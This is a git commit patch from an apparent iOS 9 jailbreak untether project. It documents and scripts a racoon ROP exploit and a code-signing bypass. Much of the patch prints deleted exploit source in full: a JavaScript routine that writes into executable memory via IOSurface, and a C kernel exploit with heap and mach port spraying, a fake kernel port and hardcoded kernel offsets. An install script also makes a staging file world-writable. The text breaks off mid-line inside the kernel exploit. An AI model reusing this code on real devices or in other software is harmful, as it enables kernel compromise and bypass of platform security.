From 630aecdb5082b7aabf38c4d5594fb236bebcceff Mon Sep 17 00:00:00 2001 From: spv420 Date: Sat, 30 Jul 2022 23:32:19 -0400 Subject: hell --- README.md | 33 +- build_native.sh | 3 + do_it.sh | 1 + install_native.sh | 4 + src/gen/stage2.c | 2 +- src/js/csbypass.js | 125 ------- src/js/kexp/exploit.c | 895 ---------------------------------------------- src/js/kexp/exploit.js | 557 ----------------------------- src/js/lib/myutils.js | 20 +- src/js/main.js | 155 +++----- src/js/primitives/call.js | 2 +- src/js/primitives/mem.js | 3 - src/native/payload.s | 6 + tools/build_native.sh | 8 +- tools/defines.c | 4 + tools/envrun.s | 112 ++++++ tools/shc/shellcode.c | 65 +++- tools/testlol.c | 4 + work/cs935 (3).c | 133 +++++++ work/ehwgr.js | 53 +++ 20 files changed, 481 insertions(+), 1704 deletions(-) create mode 100644 do_it.sh delete mode 100644 src/js/csbypass.js delete mode 100644 src/js/kexp/exploit.c delete mode 100755 src/js/kexp/exploit.js create mode 100644 src/native/payload.s create mode 100644 tools/envrun.s create mode 100644 work/cs935 (3).c create mode 100644 work/ehwgr.js diff --git a/README.md b/README.md index f17ca41..eb48d5c 100644 --- a/README.md +++ b/README.md @@ -1,11 +1,22 @@ # p0laris untether -this is a work-in-progress. +*this is a work-in-progress.* -gets ROP in racoon, then gets JS code exec with RWC primitives (arbitrary r/w, currently up to 26-arg call primitive) +gets ROP in racoon, then gets JS code exec with RWC primitives (arbitrary r/w, +currently up to 26-arg call primitive), then uses qwertyoruiop's 935csbypass to +get native code execution -current offsets are included for `iPhone4,1` on `9.3.6 (13G37)` & `iPod5,1` on `9.3.5 (13G36)`. it may work on other devices and/or firmwares, but that's unlikely. (besides maybe `9.3.5 (13G36)` on `iPhone4,1`?) +current offsets are included for `iPhone4,1` on `9.3.6 (13G37)` & `iPod5,1` on +`9.3.5 (13G36)`. it may work on other devices and/or firmwares, but that's +unlikely. (besides maybe `9.3.5 (13G36)` on `iPhone4,1`?) -clarification: the actual racoon exploit should work on any device/firmware with the same ipsec-tools version (and maybe build :P), but the JSC call portion is currently specific to one dyld_shared_cache, which is usually device & build unique. the underlying bug should work on any firmware before ~ iOS 12. my exploit is 32-bit only prolly, at least practically, due to less ASLR slides. the exploit to get arbitrary mem write should work on < iOS 12 as well (i think), but the ROP chain's gadget addresses are currently hardcoded to one build. +clarification: the actual racoon exploit should work on any device/firmware with +the same ipsec-tools version (and maybe build :P), but the JSC call portion is +currently specific to one dyld_shared_cache, which is usually device & build +unique. the underlying bug should work on any firmware before ~ iOS 12. my +exploit is 32-bit only prolly, at least practically, due to less ASLR slides. +the exploit to get arbitrary mem write should work on < iOS 12 as well (i +think), but the ROP chain's gadget addresses are currently hardcoded to one +build. ### current install steps - procure an `iPhone4,1` on `9.3.6 (13G37)` @@ -16,15 +27,21 @@ clarification: the actual racoon exploit should work on any device/firmware with - `./build_native.sh` - `./install_native.sh` - `/usr/libexec/dhcpd -q -cf old_exp.conf` <- run the racoon exploit once -- or instead `/usr/libexec/dhcpd -q -cf exploit.conf` <- run the racoon exploit forever, ctrl+c when it exits +- or instead `/usr/libexec/dhcpd -q -cf exploit.conf` <- run the racoon exploit +forever, ctrl+c when it starts tools include: -- `fuck_aslr` *should* fix the ASLR slide for all new processes on the kernel level, offsets are for `iPhone4,1` `9.3.6 (13G37)` atm -- `jsc_fun` was a tool to test JavaScriptCore arb r/w prims, source got deleted tho, i'll prolly rewrite it sometime +- `fuck_aslr` *should* fix the ASLR slide for all new processes on the kernel + level, offsets are for `iPhone4,1` `9.3.6 (13G37)` atm +- `jsc_fun` was a tool to test JavaScriptCore arb r/w prims, source got deleted + tho, i'll prolly rewrite it sometime - `shit` includes mostly thread-based call prim testing code - `shc/` contains WIP C shellcode compilation - and prolly more -~~current need is just to get a better call primitive, from what i can tell the phoenix bugs can't be exploited with only 4 args to functions. not sure how to get that better primitive working tho, so we'll see. :P~~ nevermind lol, 26 (and maybe more) should be enough, kek +~~current need is just to get a better call primitive, from what i can tell the +phoenix bugs can't be exploited with only 4 args to functions. not sure how to +get that better primitive working tho, so we'll see. :P~~ nevermind lol, 26 (and +maybe more) should be enough, kek greetz to @tihmstar for help with 935csbypass diff --git a/build_native.sh b/build_native.sh index a349643..ba7f3a6 100755 --- a/build_native.sh +++ b/build_native.sh @@ -21,3 +21,6 @@ gcc -I $(pwd)/inc/ \ --std=c99 ldid -Sent.xml bin/main_arm + +as src/native/payload.s -o bin/payload.o +objcopy -O binary bin/payload.o bin/payload.bin \ No newline at end of file diff --git a/do_it.sh b/do_it.sh new file mode 100644 index 0000000..480fc34 --- /dev/null +++ b/do_it.sh @@ -0,0 +1 @@ +tools/bin/fuck_aslr 0x1; cd tools; ./build_native.sh; cd ~; cd untether; ./build_native.sh; ./install_native.sh; rm /var/mobile/Library/Logs/CrashReporter/racoon*; /usr/libexec/dhcpd -q -cf old_exp.conf; sleep 1; nano /var/mobile/Library/Logs/CrashReporter/racoon \ No newline at end of file diff --git a/install_native.sh b/install_native.sh index 325515a..71e2638 100755 --- a/install_native.sh +++ b/install_native.sh @@ -8,6 +8,10 @@ bin/main_arm -f /usr/sbin/racoon -j exp.js -o racoon.conf cp racoon.conf /etc/racoon/racoon.conf +touch /var/root/stage4.js +chmod 777 /var/root/stage4.js +ln /var/root/stage4.js /var/mobile/Media/stage4.js + #bin/main -f ~/racoon -j ../lol.js | ssh root@localhost -p 2222 "cat > /etc/racoon/racoon.conf" #bin/main -f ~/racoon | ssh root@192.168.1.6 "cat > racoon.conf" diff --git a/src/gen/stage2.c b/src/gen/stage2.c index 64aeec8..63dccc1 100644 --- a/src/gen/stage2.c +++ b/src/gen/stage2.c @@ -219,7 +219,7 @@ } while (0) #define PRINT_STILL_HERE() do { \ - CALL_1ARG(base + printf_addr, 0x109000); \ +/* CALL_1ARG(base + printf_addr, 0x109000);*/ \ } while (0) uintptr_t get_dyld_shc_slide(void) { diff --git a/src/js/csbypass.js b/src/js/csbypass.js deleted file mode 100644 index f987e55..0000000 --- a/src/js/csbypass.js +++ /dev/null @@ -1,125 +0,0 @@ -var RTLD_NOW = 2; -var PAGE_SIZE = 0x1000; - -var CFDictionaryCreateMutable_addr = 0x20809ae1; -var kCFTypeDictionaryKeyCallBacks_addr = 0x343c79cc; -var kCFTypeDictionaryValueCallBacks_addr = 0x343c79fc; -var CFDictionarySetValue_addr = 0x2080a791; -var CFNumberCreate_addr = 0x2080bc79; -var kCFNumberSInt32Type = 3; -var kCFNumberSInt64Type = 4; -var CFShow_addr = 0x208e897c | 1; - -var my_kIOSurfaceBytesPerRow; -var my_kIOSurfaceWidth; -var my_kIOSurfaceHeight; -var my_kIOSurfacePixelFormat; -var kCFAllocatorDefault; - -var kCFStringEncodingUTF8 = 0x08000100; - -function csbypass() { - printf("hello from csbypass!\n"); - poc(); -} - -function memcpy_exec(dst, src, size) { - var dict = NULL; - var accel = malloc(4); - var width = malloc(4); - var height = malloc(4); - var pitch = malloc(4); - var pixel_format = malloc(8); - write_u32(width, PAGE_SIZE / (16 * 4)); - write_u32(height, 16); - write_u32(pitch, read_u32(width) * 4); - write_u32(pixel_format, 0x42475241); // ARGB - write_u32(pixel_format + 4, 0x0); // ARGB - printf("%x %x\n", CFDictionarySetValue_addr + get_dyld_shc_slide(), dlsym(dlopen("/System/Library/Frameworks/CoreFoundation.framework/CoreFoundation", RTLD_NOW), "CFDictionarySetValue")); - dict = CFDictionaryCreateMutable(0, 0, kCFTypeDictionaryKeyCallBacks_addr + get_dyld_shc_slide(), kCFTypeDictionaryValueCallBacks_addr + get_dyld_shc_slide()); - printf("dict: %p\n", dict); - callnarg(CFShow_addr + get_dyld_shc_slide(), dict); - CFDictionarySetValue(dict, read_u32(my_kIOSurfaceBytesPerRow), CFNumberCreate(read_u32(kCFAllocatorDefault), kCFNumberSInt32Type, pitch)); - CFDictionarySetValue(dict, read_u32(my_kIOSurfaceWidth), CFNumberCreate(read_u32(kCFAllocatorDefault), kCFNumberSInt32Type, width)); - CFDictionarySetValue(dict, read_u32(my_kIOSurfaceHeight), CFNumberCreate(read_u32(kCFAllocatorDefault), kCFNumberSInt32Type, height)); - CFDictionarySetValue(dict, read_u32(my_kIOSurfacePixelFormat), CFNumberCreate(read_u32(kCFAllocatorDefault), kCFNumberSInt32Type, pixel_format)); - printf("%d\n", callnarg(my_IOSurfaceAcceleratorCreate, 0, 0, accel)); - printf("you can kill me now\n"); - - printf("yahtzee1\n"); - - for (var i = 0; i < size; i += PAGE_SIZE) { - var kr = 0; - var target = shit_heap(4); - var srcaddr = shit_heap(4); - printf("yahtzee1\n"); - write_u32(target, dst + i); - write_u32(srcaddr, src); - printf("yahtzee1 %x %x\n", dst, src); - - printf("%x\n", CFStringCreateWithCString(read_u32(kCFAllocatorDefault), "IOSurfaceAddress", kCFStringEncodingUTF8)); - - CFDictionarySetValue(dict, CFStringCreateWithCString(read_u32(kCFAllocatorDefault), "IOSurfaceAddress", kCFStringEncodingUTF8), CFNumberCreate(read_u32(kCFAllocatorDefault), kCFNumberSInt64Type, srcaddr)); - printf("yahtzee1\n"); - var src_surf = callnarg(my_IOSurfaceCreate, dict); - printf("yahtzee1\n"); - mprotect(target, PAGE_SIZE, PROT_READ | PROT_WRITE); - printf("yahtzee1\n"); - CFDictionarySetValue(dict, CFStringCreateWithCString(read_u32(kCFAllocatorDefault), "IOSurfaceAddress", kCFStringEncodingUTF8), CFNumberCreate(read_u32(kCFAllocatorDefault), kCFNumberSInt64Type, target)); - printf("yahtzee1\n"); - var dest_surf = callnarg(my_IOSurfaceCreate, dict); - printf("yahtzee1\n"); - mprotect(target, PAGE_SIZE, PROT_READ | PROT_EXEC); - printf("yahtzee1\n"); - mlock(target, PAGE_SIZE); - printf("yahtzee1\n"); - kr = callnarg(my_IOSurfaceAcceleratorTransferSurface, accel, src_surf, dest_surf, 0, 0); - printf("kr2=0x%08x\n", kr); - printf("yahtzee1\n"); -} - - return dst; -} - -function linkIOSurface() { - h = dlopen("/System/Library/PrivateFrameworks/IOSurface.framework/IOSurface", RTLD_NOW); - - my_kIOSurfaceBytesPerRow = dlsym(h, "kIOSurfaceBytesPerRow"); - my_kIOSurfaceWidth = dlsym(h, "kIOSurfaceWidth"); - my_kIOSurfaceHeight = dlsym(h, "kIOSurfaceHeight"); - my_kIOSurfacePixelFormat = dlsym(h, "kIOSurfacePixelFormat"); - - scall("printf", "%x %x %x %x\n", my_kIOSurfaceBytesPerRow, my_kIOSurfaceWidth, my_kIOSurfaceHeight, my_kIOSurfacePixelFormat); - - my_IOSurfaceAcceleratorCreate = dlsym(h, "IOSurfaceAcceleratorCreate"); - my_IOSurfaceCreate = dlsym(h, "IOSurfaceCreate"); - my_IOSurfaceAcceleratorTransferSurface = dlsym(h, "IOSurfaceAcceleratorTransferSurface"); - - CFDictionarySetValue_addr = dlsym(dlopen("/System/Library/Frameworks/CoreFoundation.framework/CoreFoundation", RTLD_NOW), "CFDictionarySetValue") - get_dyld_shc_slide(); - kCFAllocatorDefault = dlsym(dlopen("/System/Library/Frameworks/CoreFoundation.framework/CoreFoundation", RTLD_NOW), "kCFAllocatorDefault"); - - scall("printf", "%x %x %x\n", my_IOSurfaceAcceleratorCreate, my_IOSurfaceCreate, my_IOSurfaceAcceleratorTransferSurface); -} - -function poc() { - linkIOSurface(); - - var tmp = malloc(0x4000); -// var start = [0x4F, 0xF0, 0x82, 0x40, 0x00, 0x47]; - var start = [0x44, 0x43, 0x42, 0x41]; - - for (var i = 0; i < start.length; i++) { - write_u8(tmp + i, start[i]); - } - - var finish = 0x10000; - - printf("%x\n", read_u32(0x10000)); - printf("yahtzee\n"); - memcpy_exec(finish, tmp, 0x1000); - printf("%x\n", read_u32(0x10000)); - - scall("printf", "%x %x %x %x %x %x %x %x %x %x %x %x %x\n", h, my_kIOSurfaceBytesPerRow, my_kIOSurfaceWidth, my_kIOSurfaceHeight, my_kIOSurfacePixelFormat, my_IOSurfaceAcceleratorCreate, my_IOSurfaceCreate, my_IOSurfaceAcceleratorTransferSurface, 0x41414141); - -// var finish = -} \ No newline at end of file diff --git a/src/js/kexp/exploit.c b/src/js/kexp/exploit.c deleted file mode 100644 index b33a74c..0000000 --- a/src/js/kexp/exploit.c +++ /dev/null @@ -1,895 +0,0 @@ -// Bugs by NSO Group / Ian Beer. -// Exploit by Siguza & tihmstar. -// Thanks also to Max Bazaliy. - -#include // uint32_t, uint64_t -#include // fprintf, stderr -#include // memcpy, memset, strncmp -#include // getpid -#include -#include - -#include -#include -#include -#include - -/*#include "nexploit.h" -#include "offsetfinder.h" -#include "thread.h"*/ - -kern_return_t send_ports(mach_port_t target, mach_port_t payload, size_t num, mach_msg_type_number_t number_port_descs); - -void suspend_all_threads() { - thread_act_t other_thread, current_thread; - unsigned int thread_count; - thread_act_array_t thread_list; - - current_thread = mach_thread_self(); - int result = task_threads(mach_task_self(), &thread_list, &thread_count); - if (result == -1) { - exit(1); - } - if (!result && thread_count) { - for (unsigned int i = 0; i < thread_count; ++i) { - other_thread = thread_list[i]; - if (other_thread != current_thread) { - int kr = thread_suspend(other_thread); - if (kr != KERN_SUCCESS) { - mach_error("thread_suspend:", kr); - exit(1); - } - } - } - } -} - -void resume_all_threads() { - thread_act_t other_thread, current_thread; - unsigned int thread_count; - thread_act_array_t thread_list; - - current_thread = mach_thread_self(); - int result = task_threads(mach_task_self(), &thread_list, &thread_count); - if (result == -1) { - exit(1); - } - if (!result && thread_count) { - for (unsigned int i = 0; i < thread_count; ++i) { - other_thread = thread_list[i]; - if (other_thread != current_thread) { - int kr = thread_resume(other_thread); - if (kr != KERN_SUCCESS) { - mach_error("thread_suspend:", kr); - exit(1); - } - } - } - } -} - -uint32_t find_kerneltask(){ - // A5: - return 0x8041200c; - // A6: - // return 0x8041a00c; -} - -uint32_t find_ipcspacekernel(){ - // A5: - return 0x80456664; - // A6: - // return 0x8045e798; -} - -#define SIZEOF_BYTES_MSG 384 - -enum -{ - kOSSerializeDictionary = 0x01000000U, - kOSSerializeArray = 0x02000000U, - kOSSerializeSet = 0x03000000U, - kOSSerializeNumber = 0x04000000U, - kOSSerializeSymbol = 0x08000000U, - kOSSerializeString = 0x09000000U, - kOSSerializeData = 0x0a000000U, - kOSSerializeBoolean = 0x0b000000U, - kOSSerializeObject = 0x0c000000U, - - kOSSerializeTypeMask = 0x7F000000U, - kOSSerializeDataMask = 0x00FFFFFFU, - - kOSSerializeEndCollection = 0x80000000U, - - kOSSerializeMagic = 0x000000d3U, -}; - -uintptr_t kslide = 0; -mach_port_t fakeportData; - - -#define MIG_MAX 0x1000 -#define PUSH(v) \ -do \ -{ \ - if(idx >= MIG_MAX / sizeof(uint32_t)) \ - { \ - return KERN_NO_SPACE; \ - } \ - dict[idx] = (v); \ - ++idx; \ -} while(0) - - -/*** XXX ***/ -// TODO: rework this to a lookup table/registry - -////#define KERNEL_TASK 0x8041200c //iPod5,1 -//#define KERNEL_TASK 0x8041a00c //iPhone5,2 9.3.3 -// -//// easiest to grab in convert_task_suspension_token_to_port -////#define IPC_SPACE_KERNEL 0x80456664 //iPod5,1 -//#define IPC_SPACE_KERNEL 0x8045e798 //iPhone5,2 9.3.3 - -#define TASK_BSDINFO_OFFSET 0x200 -#define BSDINFO_PID_OFFSET 0x8 -/*** XXX ***/ - - -static kern_return_t spray_data(const void *mem, size_t size, size_t num, mach_port_t *port) -{ - kern_return_t err, ret; - static io_master_t master = MACH_PORT_NULL; - if(master == MACH_PORT_NULL) - { - ret = host_get_io_master(mach_host_self(), &master); - if(ret != KERN_SUCCESS) - { - return ret; - } - } - - if(size > SIZEOF_BYTES_MSG) - { - return KERN_NO_SPACE; - } - - uint32_t dict[MIG_MAX / sizeof(uint32_t)] = { 0 }; - size_t idx = 0; - - PUSH(kOSSerializeMagic); - PUSH(kOSSerializeEndCollection | kOSSerializeDictionary | 1); - PUSH(kOSSerializeSymbol | 4); - PUSH(0x0079656b); // "key" - PUSH(kOSSerializeEndCollection | kOSSerializeArray | (uint32_t)num); - - for(size_t i = 0; i < num; ++i) - { - PUSH(((i == num - 1) ? kOSSerializeEndCollection : 0) | kOSSerializeData | SIZEOF_BYTES_MSG); - if(mem && size) - { - memcpy(&dict[idx], mem, size); - } - memset((char*)&dict[idx] + size, 0, SIZEOF_BYTES_MSG - size); - idx += SIZEOF_BYTES_MSG / 4; - } - - ret = io_service_add_notification_ool(master, "IOServiceTerminate", (char*)dict, idx * sizeof(uint32_t), MACH_PORT_NULL, NULL, 0, &err, port); - if(ret == KERN_SUCCESS) - { - ret = err; - } - return ret; -} - - -#define msgh_request_port msgh_remote_port -#define msgh_reply_port msgh_local_port - -static kern_return_t r3gister(task_t task, mach_port_array_t init_port_set, mach_msg_type_number_t real_count, mach_msg_type_number_t fake_count) -{ -#pragma pack(4) - typedef struct { - mach_msg_header_t Head; - mach_msg_body_t msgh_body; - mach_msg_ool_ports_descriptor_t init_port_set; - NDR_record_t NDR; - mach_msg_type_number_t init_port_setCnt; - } Request; - typedef struct { - mach_msg_header_t Head; - NDR_record_t NDR; - kern_return_t RetCode; - mach_msg_trailer_t trailer; - } Reply; -#pragma pack() - - union { - Request In; - Reply Out; - } Mess; - Request *InP = &Mess.In; - Reply *OutP = &Mess.Out; - - InP->msgh_body.msgh_descriptor_count = 1; - InP->init_port_set.address = (void*)(init_port_set); - InP->init_port_set.count = real_count; - InP->init_port_set.disposition = 19; - InP->init_port_set.deallocate = FALSE; - InP->init_port_set.type = MACH_MSG_OOL_PORTS_DESCRIPTOR; - InP->NDR = NDR_record; - InP->init_port_setCnt = fake_count; // was real_count - InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE); - InP->Head.msgh_request_port = task; - InP->Head.msgh_reply_port = mig_get_reply_port(); - InP->Head.msgh_id = 3403; - - kern_return_t ret = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); - if(ret == KERN_SUCCESS) - { - ret = OutP->RetCode; - } - return ret; -} - -#if 0 -static kern_return_t io_registry_entry_get_property_bytes(mach_port_t registry_entry, io_name_t property_name, io_struct_inband_t data, mach_msg_type_number_t *dataCnt) -{ - -#ifdef __MigPackStructs -#pragma pack(4) -#endif - typedef struct { - mach_msg_header_t Head; - NDR_record_t NDR; - mach_msg_type_number_t property_nameOffset; /* MiG doesn't use it */ - mach_msg_type_number_t property_nameCnt; - char property_name[128]; - mach_msg_type_number_t dataCnt; - } Request __attribute__((unused)); -#ifdef __MigPackStructs -#pragma pack() -#endif - -#ifdef __MigPackStructs -#pragma pack(4) -#endif - typedef struct { - mach_msg_header_t Head; - NDR_record_t NDR; - kern_return_t RetCode; - mach_msg_type_number_t dataCnt; - char data[4096]; - mach_msg_trailer_t trailer; - } Reply __attribute__((unused)); -#ifdef __MigPackStructs -#pragma pack() -#endif - -#ifdef __MigPackStructs -#pragma pack(4) -#endif - typedef struct { - mach_msg_header_t Head; - NDR_record_t NDR; - kern_return_t RetCode; - mach_msg_type_number_t dataCnt; - char data[4096]; - } __Reply __attribute__((unused)); -#ifdef __MigPackStructs -#pragma pack() -#endif - /* - * typedef struct { - * mach_msg_header_t Head; - * NDR_record_t NDR; - * kern_return_t RetCode; - * } mig_reply_error_t; - */ - - union { - Request In; - Reply Out; - } Mess; - - Request *InP = &Mess.In; - Reply *Out0P = &Mess.Out; - - mach_msg_return_t msg_result; - unsigned int msgh_size; - unsigned int msgh_size_delta; - - -#ifdef __MIG_check__Reply__io_registry_entry_get_property_bytes_t__defined - kern_return_t check_result; -#endif /* __MIG_check__Reply__io_registry_entry_get_property_bytes_t__defined */ - - __DeclareSendRpc(2812, "io_registry_entry_get_property_bytes") - - InP->NDR = NDR_record; - -#ifdef USING_MIG_STRNCPY_ZEROFILL - if (mig_strncpy_zerofill != NULL) { - InP->property_nameCnt = mig_strncpy_zerofill(InP->property_name, property_name, 128); - } else { -#endif /* USING_MIG_STRNCPY_ZEROFILL */ - InP->property_nameCnt = mig_strncpy(InP->property_name, property_name, 128); -#ifdef USING_MIG_STRNCPY_ZEROFILL - } -#endif /* USING_MIG_STRNCPY_ZEROFILL */ - - msgh_size_delta = _WALIGN_(InP->property_nameCnt); - msgh_size = (mach_msg_size_t)(sizeof(Request) - 128) + msgh_size_delta; - InP = (Request *) ((pointer_t) InP + msgh_size_delta - 128); - - if (*dataCnt < 4096) - InP->dataCnt = *dataCnt; - else - InP->dataCnt = 4096; - - InP = &Mess.In; - InP->Head.msgh_bits = - MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE); - /* msgh_size passed as argument */ - InP->Head.msgh_request_port = registry_entry; - InP->Head.msgh_reply_port = mig_get_reply_port(); - InP->Head.msgh_id = 2812; - InP->Head.msgh_reserved = 0; - -/* BEGIN VOUCHER CODE */ - -#ifdef USING_VOUCHERS - if (voucher_mach_msg_set != NULL) { - voucher_mach_msg_set(&InP->Head); - } -#endif // USING_VOUCHERS - -/* END VOUCHER CODE */ - - __BeforeSendRpc(2812, "io_registry_entry_get_property_bytes") - msg_result = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, msgh_size, (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); - __AfterSendRpc(2812, "io_registry_entry_get_property_bytes") - if (msg_result != MACH_MSG_SUCCESS) { - __MachMsgErrorWithoutTimeout(msg_result); - { return msg_result; } - } - - -#if defined(__MIG_check__Reply__io_registry_entry_get_property_bytes_t__defined) - check_result = __MIG_check__Reply__io_registry_entry_get_property_bytes_t((__Reply__io_registry_entry_get_property_bytes_t *)Out0P); - if (check_result != MACH_MSG_SUCCESS) - { return check_result; } -#endif /* defined(__MIG_check__Reply__io_registry_entry_get_property_bytes_t__defined) */ - - if (Out0P->dataCnt > *dataCnt) { - (void)memcpy((char *) data, (const char *) Out0P->data, *dataCnt); - *dataCnt = Out0P->dataCnt; - { return MIG_ARRAY_TOO_LARGE; } - } - (void)memcpy((char *) data, (const char *) Out0P->data, Out0P->dataCnt); - - *dataCnt = Out0P->dataCnt; - - return KERN_SUCCESS; -} -#endif - -typedef struct __attribute__((__packed__)) { - uint32_t ip_bits; - uint32_t ip_references; - struct __attribute__((__packed__)) { - uint32_t data; - uint32_t pad; - uint32_t type; - } ip_lock; - struct __attribute__((__packed__)) { - struct __attribute__((__packed__)) { - struct __attribute__((__packed__)) { - uint32_t flags; - uintptr_t waitq_interlock; - uint64_t waitq_set_id; - uint64_t waitq_prepost_id; - struct __attribute__((__packed__)) { - uintptr_t next; - uintptr_t prev; - } waitq_queue; - } waitq; - uintptr_t messages; - natural_t seqno; - natural_t receiver_name; - uint16_t msgcount; - uint16_t qlimit; - } port; - uintptr_t imq_klist; - } ip_messages; - natural_t ip_flags; - uintptr_t ip_receiver; - uintptr_t ip_kobject; - uintptr_t ip_nsrequest; - uintptr_t ip_pdrequest; - uintptr_t ip_requests; - uintptr_t ip_premsg; - uint64_t ip_context; - natural_t ip_mscount; - natural_t ip_srights; - natural_t ip_sorights; -} kport_t; - -#define LOG(str, args...) \ -do \ -{ \ - fprintf(stderr, str " [%u]\n", ##args, __LINE__); \ -} while(0) - -#define OUT_LABEL(label, code...) \ -do \ -{ \ - ret = (code); \ - if(ret != KERN_SUCCESS) \ - { \ - LOG(#code ": %s (%u)", mach_error_string(ret), ret); \ - goto label; \ - } \ -} while(0) - -#define OUT(code...) OUT_LABEL(out, ##code) - - -uint32_t copyinPort(kport_t *kport, int cnt){ - - kern_return_t err, ret; - task_t self = mach_task_self(); - io_service_t service = MACH_PORT_NULL; - io_connect_t client = MACH_PORT_NULL; - io_iterator_t it = MACH_PORT_NULL; - io_object_t o = MACH_PORT_NULL; - - mach_port_t data; - OUT(spray_data(NULL, 0, 5, &data)); - - service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("AppleMobileFileIntegrity")); - if(!MACH_PORT_VALID(service)) - { - LOG("Invalid service"); - goto out; - } - char tst[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; - - kport_t *kpbuf = (kport_t*)(tst+4); - for (int i=0; i1768515945"; - OUT(io_service_open_extended(service, self, 0, NDR_record, (char*)xml, sizeof(xml), &err, &client)); - - OUT(IORegistryEntryGetChildIterator(service, "IOService", &it)); - - bool found = false; - while((o = IOIteratorNext(it)) != MACH_PORT_NULL && !found) - { - uintptr_t buf[16]; - uint32_t size = (uint32_t)sizeof(buf); - ret = IORegistryEntryGetProperty(o, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", (char*)buf, &size); - if(ret == KERN_SUCCESS) - { - mach_port_deallocate(self, data); - data = MACH_PORT_NULL; - //OUT(spray_data(&kport, sizeof(kport), 16, &data)); - OUT(spray_data(tst, sizeof(tst), 10, &fakeportData)); - - kslide = ((buf[9] & 0xFFF00000) + 0x1000) -0x80001000; - return (uint32_t)buf[4] - 0x78; - - /* BREAKPOINT HERE */ - - found = true; - } - IOObjectRelease(o); - o = MACH_PORT_NULL; - } - -out:; - if(it != MACH_PORT_NULL) - { - IOObjectRelease(it); - it = MACH_PORT_NULL; - } - if(client != MACH_PORT_NULL) - { - IOObjectRelease(client); - client = MACH_PORT_NULL; - } - if(service != MACH_PORT_NULL) - { - IOObjectRelease(service); - service = MACH_PORT_NULL; - } - if(data != MACH_PORT_NULL) - { - mach_port_deallocate(self, data); - data = MACH_PORT_NULL; - } - return 0; -} - -#pragma pack(4) -typedef struct { - mach_msg_header_t Head; - mach_msg_body_t msgh_body; - mach_msg_ool_ports_descriptor_t init_port_set[]; -} Request; -#pragma pack() - -void release_port_ptrs(mach_port_t port){ - char req[sizeof(Request) + 5 * sizeof(mach_msg_ool_ports_descriptor_t) + sizeof(mach_msg_trailer_t)]; - if (mach_msg((mach_msg_header_t*)req, MACH_RCV_MSG, 0, sizeof(req), port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL) != KERN_SUCCESS) - printf("[!] Error mach_recv\n"); -} - -mach_port_t kp = 0; -mach_port_t spray_ports(mach_msg_type_number_t number_port_descs) { - if (!kp) { - mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &kp); - mach_port_insert_right(mach_task_self(), kp, kp, MACH_MSG_TYPE_MAKE_SEND); - } - - mach_port_t mp = 0; - - mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &mp); - mach_port_insert_right(mach_task_self(), mp, mp, MACH_MSG_TYPE_MAKE_SEND); - - assert(0 == send_ports(mp, kp, 2, number_port_descs)); - - return mp; -} - -kern_return_t send_ports(mach_port_t target, mach_port_t payload, size_t num, mach_msg_type_number_t number_port_descs) -{ - mach_port_t init_port_set[num]; - for(size_t i = 0; i < num; ++i) - { - init_port_set[i] = payload; - } - - typedef struct { - mach_msg_header_t Head; - mach_msg_body_t msgh_body; - mach_msg_ool_ports_descriptor_t init_port_set[0]; - } Request; - - char buf[sizeof(Request) + number_port_descs*sizeof(mach_msg_ool_ports_descriptor_t)]; - Request *InP = (Request*)buf; - InP->msgh_body.msgh_descriptor_count = number_port_descs; - for (int i = 0; i < number_port_descs; i++) { - InP->init_port_set[i].address = (void *)(init_port_set); - InP->init_port_set[i].count = num; - InP->init_port_set[i].disposition = 19; - InP->init_port_set[i].deallocate = FALSE; - InP->init_port_set[i].type = MACH_MSG_OOL_PORTS_DESCRIPTOR; - } - - InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE); - /* msgh_size passed as argument */ - InP->Head.msgh_request_port = target; - InP->Head.msgh_reply_port = 0; - InP->Head.msgh_id = 1337; - - return mach_msg(&InP->Head, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request)+number_port_descs*sizeof(mach_msg_ool_ports_descriptor_t), 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); -} - -uint32_t spray_data2(char *data, size_t datasize, unsigned count) -{ - kern_return_t kr = 0, err = 0; - mach_port_t master = MACH_PORT_NULL; - io_service_t serv = 0; - io_connect_t conn = 0; - - - char dict[4096+512]; - uint32_t idx = 0; // index into our data - -#define WRITE_IN(dict, data) do { *(uint32_t *)(dict + idx) = (data); idx += 4; } while (0) - - WRITE_IN(dict, (0x000000d3)); // signature, always at the beginning - - WRITE_IN(dict, (kOSSerializeEndCollection | kOSSerializeDictionary | 1)); // dictionary with two entries - - WRITE_IN(dict, 